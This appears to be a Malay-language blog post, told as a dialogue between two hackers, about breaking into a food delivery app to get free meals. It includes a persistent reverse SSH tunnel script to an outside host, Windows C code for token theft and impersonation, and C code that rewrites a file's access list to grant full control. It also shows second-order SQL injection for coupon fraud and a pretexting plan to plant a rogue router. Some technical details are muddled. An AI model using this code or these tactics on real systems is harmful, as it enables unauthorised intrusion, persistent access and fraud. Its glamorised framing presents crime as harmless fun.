paint-brush
Adakah Anda Lapar, Bro? Mari Menggodam Apl Penghantaran Makanan Kegemaran Andaoleh@pepitoscrespo
751 bacaan
751 bacaan

Adakah Anda Lapar, Bro? Mari Menggodam Apl Penghantaran Makanan Kegemaran Anda

oleh pepitoscrespo14m2024/09/24
Read on Terminal Reader

Terlalu panjang; Untuk membaca

Selami dunia penggodaman beretika dengan Benicio dan Simplicius kerana mereka mengeksploitasi kelemahan dalam apl penghantaran makanan yang popular. Daripada kejuruteraan sosial ke SQ.
featured image - Adakah Anda Lapar, Bro? Mari Menggodam Apl Penghantaran Makanan Kegemaran Anda
pepitoscrespo HackerNoon profile picture
0-item
1-item


Cara penggodam terkemuka melihat dunia adalah berbatu-batu selain daripada kerja harian pekerja teknologi yang bekerja di sebuah syarikat teknologi. Walaupun kebanyakan profesional bergantung pada dokumentasi rasmi, arahan bos dan amalan terbaik yang diterima, penggodam hanya mempercayai perkara yang boleh disentuh, diuji dan dipecahkan. Bagi penggodam, pemahaman datang melalui kejuruteraan terbalik — merobek sistem untuk mendedahkan cara ia benar-benar berfungsi, kemudian menyatukannya kembali, membetulkan apa yang rosak atau mengeksploitasi kelemahan.


Ini bukan tentang menjadi penjenayah. Ia adalah bentuk pembelajaran yang paling tulen, kaedah setua rasa ingin tahu manusia itu sendiri: pecahkannya, fahami bahagiannya, dan bina semula. Ia adalah pemikiran analitikal dan sintetik yang terbaik. Penguasaan sebenar datang apabila penggodam boleh mengeksploitasi peranti kerana itulah bukti muktamad yang mereka tahu dengan tepat cara ia berfungsi — lebih baik daripada orang lain.


Kisah ini betul-betul tentang itu — bagaimana seorang penggodam terkemuka (Benicio) daripada DeusExMachina dan Simplicius (seorang pemula yang berani) dengan gembira membedah dan akhirnya mendapat kawalan penuh ke atas sistem yang kompleks (Apl Penghantaran Makanan).

Ia adalah pengembaraan yang bukan sahaja intelektual dan teknikal, tetapi pada asasnya tentang berjuang untuk melampaui batasan manusia, menyelesaikan teka-teki yang mustahil bukan sahaja dengan menegangkan otak mereka, tetapi dengan bermain dengannya dan lebih-lebih lagi diberi makan olehnya— sifat yang dikongsi oleh penggodam. kanak-kanak.



Penafian: Cerita ini mengandungi bahan penggodaman sebenar yang boleh digunakan, tetapi semata-mata untuk tujuan pendidikan. Ia tidak menggalakkan penggodaman haram.


Benicio (Penggodam): Simplicius, anda kelihatan kelaparan. Bagaimana kalau kita pesan makanan… di rumah? Saya mempunyai rancangan untuk menggodam apl penghantaran makanan kegemaran anda, menggunakan sistem kupon mereka sendiri.


Simplicius (Newbie): ( Ketawa ) Anda sudah mempunyai sesuatu untuk memasak, bukan? Tumpahkan kacang.


Benicio: ( Tersenyum ) Oh, saya sudah meletakkan asas. Semalam, saya bercakap manis dengan Greg daripada pasukan IT mereka, melakukan beberapa kejuruteraan sosial yang licik, dan menyelitkan penghala lanun saya terus ke rangkaian mereka. Kini, kami mempunyai talian terus ke bahagian belakang mereka dan akses kepada sistem kupon berharga mereka. Jom makan.

Persediaan Benicio: The Hacker's Arsenal

  • Komputer riba : Alat utama Benicio ialah Dell XPS 13 (Intel Core i7 Generasi ke-10, 16GB RAM, 512GB SSD) yang menjalankan Kali Linux — sesuai untuk melaksanakan serangan kejuruteraan sosial, eksploitasi keselamatan dan pelaksanaan perintah jauh.
  • Pirate Router : Dipasang ke dalam rangkaian syarikat, menjalankan versi tersuai OpenWRT , dengan terowong SSH , spoofing alamat MAC dan pivoting VPN untuk mengelakkan pengesanan. Peranti yang kecil tetapi berkuasa ini dipersenjatai dengan pemproses Qualcomm IPQ4019 dan 256MB RAM , memastikan siluman dan kecekapan.
  • Sistem Pengendalian : OpenWRT , menyediakan kawalan penuh ke atas fungsi rangkaian dan keupayaan untuk memintas tembok api.
  • Komputer Riba Sekunder : Untuk kawalan selamat ke atas rangkaian yang terjejas, Benicio menggunakan HP Spectre x360 yang menjalankan Ubuntu 22.04 dengan Wireshark dan Metasploit untuk pemantauan trafik dan analisis eksploitasi.

Fasa 1: Persediaan Kejuruteraan Sosial — Kerja Semalam

Benicio: Semuanya bermula dengan Greg. Saya menelefon, berpura-pura menjadi daripada "pasukan audit pihak ketiga" mereka dan Greg — lelaki yang baik — menumpahkan segala-galanya tentang persediaan rangkaian mereka. Sebelum dia sedar, saya berada di bilik pelayan mereka, "menyemak kelemahan" dan menanam penghala OpenWRT tersuai saya. Perkara itu kini terowong melalui tembok api mereka tanpa dapat dikesan.


Simplicius: Anda memikat Greg untuk memberi anda peta rangkaian dan membenarkan anda memasang penghala penyangak? lancar.


Benicio: (Tersenyum) Penghala itu kini mempunyai terowong SSH terbalik yang berjalan, memberikan kami akses jauh pada bila-bila masa yang kami mahu. Inilah skrip yang saya gunakan:


 #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done

Fasa 2: Memintas Tembok Api — Penghala Lanun Bertindak

Simplicius: Jadi sekarang, anda telah memintas tembok api mereka dengan peranti licik ini. Apa seterusnya?


Benicio: Dengan akses dalaman penuh, sudah tiba masanya untuk merampas token keistimewaan tinggi. Saya mendapati proses berjalan sebagai pentadbir, menggunakan API DuplicateTokenEx() untuk mengklon token itu, dan kemudian menyamar sebagai pentadbir dengan ImpersonateLoggedOnUser() . Sistem menganggap saya hanya pengguna biasa, tetapi di sebalik tabir, saya yang memegang semua kunci.


 #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }

Fasa 3: Greg to the Rescue — Sekali lagi

Benicio: Tetapi untuk benar-benar membuatnya menyanyi, saya perlu tahu bagaimana deskriptor keselamatan mereka disediakan. Jadi saya menelefon Greg sekali lagi, berkata saya memerlukannya untuk mengesahkan beberapa tetapan DACL dan SACL untuk audit. Dia dengan senang hati mewajibkan.


Simplicius: (Ketawa) Kejuruteraan sosial yang terbaik.

Fasa 4: Mengubah Deskriptor Keselamatan — Hack Halimunan

Benicio: Ok, dengan bantuan Greg, saya menarik rentetan SDDL ( Security Descriptor Definition Language ) untuk deskriptor keselamatan sasaran, membolehkan saya menganalisis dan menulis semula DACL (Discretionary Access Control List) . Saya mengubah suai DACL untuk memberi diri saya akses penuh semasa menggunakan bendera warisan pintar untuk memastikan perubahan tidak akan mencetuskan sebarang makluman atau menimbulkan syak wasangka. Sistem tak berkelip!!


Sebaik sahaja DACL baharu telah disediakan, saya menggunakan semula perubahan pada sistem. Keindahannya ialah, dari perspektif sistem, tiada apa yang kelihatan luar biasa . Bendera warisan memastikan pengubahsuaian saya kekal tersembunyi di bawah peraturan akses sedia ada, tetapi kini saya mempunyai kawalan penuh


 #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }


Fasa 5: Memintas Semakan Akses — Permainan Dihidupkan

Angka tersebut menunjukkan cara Windows membandingkan Token Akses (SID) anda dan Deskriptor Keselamatan (DACL) sumber dalam Proses Semakan Akses untuk memberikan atau menafikan akses. Benicio memanipulasi ini untuk memintas pemeriksaan keselamatan.


Simplicius: Jadi anda masuk, dan anda mempunyai kawalan. Bagaimana anda mengatasi semakan akses?


Benicio: (Bersandar dengan yakin, menunjuk pada rajah di atas) Sistem ini berjalan melalui tiga lapisan: integriti, berasaskan token dan semakan budi bicara . Biasanya, di situlah kebanyakan orang menemui jalan buntu, tetapi di sinilah keajaiban datang. Saya mengambil token pentadbir daripada proses istimewa, menggunakan ImpersonateToken() untuk membuatkan sistem menganggap saya bos besar. Selepas itu, saya pendawaian semula DACL untuk memberi diri saya akses penuh. Sistem itu baru sahaja melancarkan permaidani merah.


Biar saya terangkan. Token Akses — yang memegang SID (Pengecam Keselamatan) dan keistimewaan — adalah seperti pasport saya. Dengan menyamar sebagai token pentadbir , saya tidak perlu mengubah suai SID asal saya. Sistem itu masih menganggap saya pengguna yang mempunyai keistimewaan rendah, tetapi di sebalik tabir, saya mempunyai kunci kerajaan. Itu membuatkan saya melepasi cek berasaskan token .


Seterusnya, saya menangani Deskriptor Keselamatan (DACL) . Ingat SDDL yang saya tarik tadi? Saya mengubah suai DACL untuk memberi diri saya kawalan penuh ke atas objek itu, tetapi saya bijak menyembunyikan perubahan itu dengan bendera warisan , memastikan tiada perkara yang mencurigakan akan dibenderakan. Sistem tidak berkelip, tetapi kini saya mempunyai kawalan sepenuhnya. Itu melayari saya melalui cek budi bicara .


Simplicius: Ya, bouncer mesra kami, Proses Semakan Akses…


Benicio: ya, saya seperti bouncer di sebuah kelab . Jika anda mempunyai ID ( SID ) yang betul dan anda tahu pemilik kelab ( DACL ), anda akan menyertainya. Saya pastikan saya mempunyai kedua-duanya — ID yang betul dan kebenaran pemilik — jadi bouncer tidak membenarkan saya begitu sahaja masuk, mereka menghulurkan saya pas VIP.


Dan selepas semua itu? Sistem sama ada menyatakan ' Akses Diberikan' atau ' Akses Ditolak' . Terima kasih kepada semua langkah yang kami lakukan, anda dapat menekanya — Akses Diberikan . Kami sudah masuk, Simplicius, dan sistem tidak menyedarinya.

Fasa 6: Memesan Makan Malam — Satu Suntikan SQL Jauh

Benicio : Sekarang, untuk bahagian yang menyeronokkan. Saya tidak pergi untuk laluan mudah dengan klausa UNION yang mudah. Apl itu terlalu pintar untuk itu— mereka menggunakan pernyataan yang disediakan . Tetapi anda tahu, keselamatan hanya sekuat pautan yang paling lemah, dan saya mendapati milik saya dalam cara mereka mengendalikan data profil yang disimpan .


Simplicius : Baiklah, saya tertarik. Bagaimanakah anda berjaya menipu sistem untuk menerima kupon palsu sambil mengekalkan kupon yang sah tidak disentuh?


Benicio : ( Mencondong ke hadapan ) Inilah helah sebenar. Apl menjalankan pertanyaan untuk mengesahkan sama ada kupon adalah sah, tetapi ia menarik beberapa data daripada profil pengguna anda . Kini, mereka membersihkan input apabila anda mula-mula membuat profil anda, tetapi mereka TIDAK membersihkannya semula semasa kemas kini profil. Oleh itu, saya menyuntik muatan ke dalam medan alamat profil saya, yang terletak di sana tanpa disedari sehingga apl menariknya ke dalam pertanyaan masa hadapan. Ketika itulah suntikan SQL pesanan kedua saya bermula. Sistem tidak menangkapnya kerana suntikan telah disimpan, menunggu masa yang sesuai.


Daripada menyerang proses pengesahan kupon secara langsung, seperti yang saya katakan, Simplicius, saya menanam muatan saya dalam medan profil, menunggu ia digunakan dalam pertanyaan berasingan. Berikut ialah rupa pengesahan kupon asal:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


Biasanya, pertanyaan ini tidak akan mengembalikan apa-apa kerana kupon palsu tidak wujud. Tetapi muatan yang disuntik saya mengubah logik pertanyaan. Sistem tidak menjangkakan suntikan kerana ia telah disimpan dalam pangkalan data dan menunggu masa yang sesuai. Pertanyaan telah dimanipulasi menjadi lebih seperti ini:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

Dengan mengeksploitasi interaksi antara data profil dan pertanyaan , saya menipu sistem untuk menarik kedua-dua kupon palsu dan sah secara serentak. Apl memproses kupon palsu untuk transaksi, tetapi kupon yang sah kekal utuh dalam sistem, tidak disentuh. Ini bermakna saya boleh menggunakan semula kupon yang sah pada bila-bila masa saya mahu.


Simplicius : Jadi, anda tidak menggunakan helah input klasik — anda meletakkan muatan dalam profil anda dan membiarkan sistem melakukan kerja kotor?


Benicio : Betul sekali. Keindahannya ialah apl memproses kupon palsu untuk transaksi, tetapi pada bahagian belakang, kupon yang sah masih tersedia untuk kegunaan masa hadapan. Muatan yang disimpan terus berjalan dalam pertanyaan akan datang, menjadikannya bekalan makanan percuma yang tidak berkesudahan , dan mereka tidak lebih bijak.


Dengan itu, saya mendapat kupon yang setanding emas. Jom order.

Fasa 7: Kenduri — Dihantar

Benicio: (Tatal melalui aplikasi) Baiklah, Simplicius, bagaimana dengan makanan Yunani? Saya berfikir souvlaki, gyros, spanakopita. Semua di rumah, sudah tentu.


Simplicius: (Tersenyum) Anda benar-benar mengalahkan diri sendiri kali ini.


Benicio: (Klik mengesahkan) Selesai. Makanan sedang dalam perjalanan.

Epilog: The White Hat Move

Benicio: Selepas ini, saya akan menghantar laporan bijak yang menerangkan kelemahan mereka. Mereka tidak tahu betapa teruknya sistem token keselamatan Windows mereka disediakan. Mungkin mereka akan belajar sesuatu sebelum penggodam seterusnya datang.

Inilah resipi Benicio untuk hack ini:

  • Penghala Pirate : Pintas tembok api dengan peranti tersuai yang menjalankan terowong OpenWRT dan SSH.
  • Manipulasi Token : Gunakan DuplicateTokenEx() dan ImpersonateToken() untuk meningkatkan keistimewaan tanpa menimbulkan penggera.
  • Kejuruteraan Sosial : Kadang-kadang yang diperlukan ialah soalan yang betul kepada orang yang betul.
  • Eksploitasi Deskriptor Keselamatan : Menulis semula DACL membolehkan anda memintas kawalan sistem.
  • SQL Injection : Ubah logik pertanyaan untuk memanipulasi data dan menjana hasil palsu tetapi sah.


Simplicius: (Bersandar) Anda menggodam kami makan malam dan tidak meninggalkan mereka yang lebih bijak. Saya akan mengambil souvlaki, dengan cara itu.


Benicio: (Tersenyum) Nikmatilah selagi masih ada.